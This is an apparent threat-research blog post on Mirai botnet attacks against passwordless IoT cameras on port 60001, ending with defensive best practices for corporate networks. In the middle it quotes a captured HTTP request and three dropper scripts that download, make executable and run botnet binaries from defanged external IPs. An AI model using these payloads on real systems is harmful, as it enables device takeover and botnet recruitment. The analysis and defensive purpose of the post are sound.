“Alexa, can you tell me which of my Internet of Things devices are vulnerable to an attack?”
Echo: “Hmmm, I don’t know that one.”
“Alexa, can anyone access my camera from the internet?”
Echo: “Sorry, I’m not sure about that.”
“Alexa, have you allowed Russian hackers into my network?”
Echo: “Net, zdes’ net khakerov.”
Oh good, glad to know my network is safe…
In past years, phishing was the culprit in 93% of all breaches that were occurring, according to the 2018 Verizon Data Breach Investigations Report. It is the low hanging fruit of the defenders. However, it is more like a low hanging branch, leading to higher and higher fruit, as well as more and more branches.
The introduction of IoT reminds me of the start of the explosion of the internet. Windows 95 connected through dialup, with little – if any – security from the outside. Devices connected without even the thought of security, much less a password.
“PASSWORD! Who needs a password? Why would anyone want to break into my computer? I don’t have anything worth stealing!”
Today, this has changed. Instead of a personal computer, we have “smart” baby monitors, cameras, refrigerators, thermostats, cars and more.
Looking at the daily attacks Juniper Threat Labs sees, it seems like there are quite a few people who want to break into anything that’s connected to the internet. For example, we are seeing port 60001 under constant attack on the sensors deployed by Juniper Threat Labs, with peaks at several thousand a day per sensor.
What is most significant about port 60001 and why does it get attacked, you ask? This is a common port used by IoT devices, most notably the Defeway cameras that comprise over 90% of all cameras using this port. These cameras are being installed within networks with no password protection.
While the users feel they are simply giving themselves access to view their camera from anywhere, it is actually giving attackers the ability to install botnets, such as Mirai, on the device.
Micheal Krebs has written about issues with Defeway devices in the past and since then, we are seeing the threat against these devices continue to grow.
Juniper Threat Labs has seen attacks focusing specifically against devices that have hard coded passwords or lack passwords at all. Manufacturers attempt to keep costs low by baking the password into the firmware or not requiring one at all. This leads to major vulnerabilities in these devices.
Here is an example transcript of such an attack over port 60001:
| GET /shell?cd /tmp; wget http://185(.)244(.)25(.)185/loot/Jaws.sh; chmod 777 Jaws.sh; sh Jaws.sh; rm -rf Jaws.sh; HTTP/1.1 Host: X.X.X.X:60001 User-Agent: Go 1.1 package http |
It simply tries to launch a shell, change to the /tmp folder, download the “Jaws.sh” script, make it executable, run it and then cleanup, all in a simple HTTP request sent. No user interaction is needed – it’s just a fire and forget request. If the attack is successful, they would have installed a botnet. If it fails, there is very little footprint. Most of the IPs will be burnt in minutes (discovered and blacklisted) and they will move on to newly acquired IPs.
The script downloaded is similar to what is commonly seen in attacks coming from Mirai or other less prevalent botnets. Some of the attackers’ scripts are complex and lengthy, with numerous variables and conditional statements. Meanwhile, others are extremely simple bash scripts. Why recreate the wheel, when what they have is working fine?
|
1 #!/bin/sh 2 3 n=”arm7 arm5″ 4 http_server=”89(.)248(.)174(.)219″ 5 6 for i in $n 7 do 8 cd /tmp 9 rm -rf $i 10 wget http://$http_server/bins/$i -O – >$i 11 chmod 777 $i 12 ./$i 13 rm -rf $i 14 done 15 16 rm -rf $0 17 echo DONE |
While this is a different attack, it is also Mirai and outlines just how simple the install scripts are.
|
1 cd /tmp/; wget http://31(.)13(.)195(.)49/b/arm -O .h;chmod 777 .h;./.h jaws;rm .h 2 cd /tmp/; wget http://31(.)13(.)195(.)49/b/arm5 -O .h;chmod 777 .h;./.h jaws;rm .h 3 cd /tmp/; wget http://31(.)13(.)195(.)49/b/arm6 -O .h;chmod 777 .h;./.h jaws;rm .h 4 cd /tmp/; wget http://31(.)13(.)195(.)49/b/arm7 -O .h;chmod 777 .h;./.h jaws;rm .h |
In the first script, there are only two malware architecture types requested. However, in an earlier version, there are multiple malware variants for whichever architecture appears to be used on this device. This more complex script covers multiple architectures, attempts to download and run them all.
|
1 binarys=”mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc” 2 server_ip=”185(.)158(.)251(.)183″ 3 binname=”Akashic” 4 execname=”sshd” 5 rm -rf sh 6 rm -rf ${binname}* 7 rm -rf $execname 8 9 for arch in $binarys 10 do 11 cd /tmp 12 wget http://$server_ip/$binname.$arch -O $execname 13 chmod 777 $execname 14 ./$execname ${1} > /dev/null 2>&1 15 rm -rf $execname 16 done |
Back to the first attack, Arm7 was not found. Fortunately, they still have arm5 available for us to collect a sample:
34e602f0e17ef4ef3e9f88738efb44a2cff0fea9 arm5
This file was submitted to Virustotal the morning of August 15, 2019, with this version of the malware only being detected by six of the anti-virus vendors at that time.
This version of Mirai was easily detected by our Juniper Threat Prevention Appliance. However, attackers are getting much more crafty with their attacks. It’s less about the attacks that are detected and prevented than it is the devices that are not being protected.
While these threats are easily preventable with good corporate policy and detection, IoT devices are the next wave of potential targets. They are getting added to networks every day, with or without the knowledge of IT and Information Security teams. Regular sweeps with a vulnerability scanner may find them, but most organizations run those only monthly or quarterly. Even then, there are constantly subnets and networks that are getting added. These subnets and networks may not be found for quite some time, if they are ever found at all.
The horror stories of finding rogue devices and internet connections breed nightmares for all modern day CISOs and security professionals.
Below, we have listed some of the best practices to mitigate or lessen the impact of compromised IoT devices on your corporate network. While this isn’t an all-inclusive list, it will give ideas on how to strengthen posture against the threat malware presents to these devices.
1. Update your security policies and procedures: So to speak, it is normal for items to slip through the cracks. The concern with Internet of Things has only started to catch up with the deployment of these devices. It is not uncommon for corporate IT staff to forget to update documentation. Information Security staff will find a challenge to remove devices in a timely manner, should departments connect IoT devices to fill their needs.
2. Segment the network as much as possible: IoT devices should not be on the same network as unrelated production equipment, if at all possible. These devices should be segmented to prevent communications to all other devices. This becomes difficult with printers and scanners; however, there are creative ways to limit traffic to these devices.
3. Regular scans of the network: Most corporations scan the network for vulnerabilities, but do they then feed the results into a SIEM? Using the SIEM to correlate potential vulnerabilities with network traffic will help the threat hunters find and eliminate threats to the environment – not to mention, allow the vulnerabilities to pass to the firewall and patching teams to remediate any items that are within their capabilities. Organizations need to not only scan for vulnerabilities, but also default usernames and passwords. Many times, the people who use IoT devices for their day to day tasks are not Information Security conscious. If they replace the device, they may just merely drop it in as “plug and play”, never modifying the settings. Perhaps their replacement policy is not very thorough. Or, maybe the technician who replaced the IP camera may feel that the main operator will make the change, but neither communicate to know it needs to be completed.
4. Map devices on corporate network: Know where your vulnerabilities lie. This is common when people think of their servers’ network devices or desktops, but never think about a security camera’s vulnerability. Would you know that the physical security team installed a dozen new cameras into their VLAN? Develop a procedure that makes it so should you see a device labelled “Camera-E4R415”, it can be found and remediated. If one of these cameras went bad and were replaced with one that had been on the shelf for several patch cycles, are there policies and procedures in place to identify the change? Creating an Enterprise Security Architecture document is a good step to help with this. While this encompasses more than IoT devices that should be tracked, this will help you identify how you will defend them against targeted threats.
5. Test and thoroughly research devices to be deployed: Do not allow devices on the network that you have not tested or at least researched. This goes back to the policy. Create a security checklist for devices to be put on the network. If the devices are being pushed through, this will at a minimum give you the knowledge on how to mitigate the risk to the network.
6. Monitor traffic and logs: Use your scanning results, inventory and patching results to enrich the data that you see with your Intrusion Detection Systems, Full packet capture, DNS logs, etc. Set up triggers to alert your Security Operations Center for anomalies within your network. If an IP camera is communicating with a database server, or some other device that is out of the ordinary, someone should know immediately.
7. Incorporate them into your patching procedures: Patching is generally thought of as workstations, servers and network devices, such as routers or switches. With the introduction of Internet of Things items like cameras, printers, scanners, security sensors and phones, these now need to be patched too, if applicable. These devices all have the potential to have security flaws and most manufacturers that are likely to purchase their equipment release regular updates to these devices. They should be scanned and incorporated into a regular patching procedure.
This is a long list, but by no means does this encompass everything to consider. Your job as a corporate security team is to stop the bleeding immediately, then work toward mitigating the risk in the future, as much as possible. Take your network out of the “low hanging fruit” category so that potential attackers move on to a softer target.
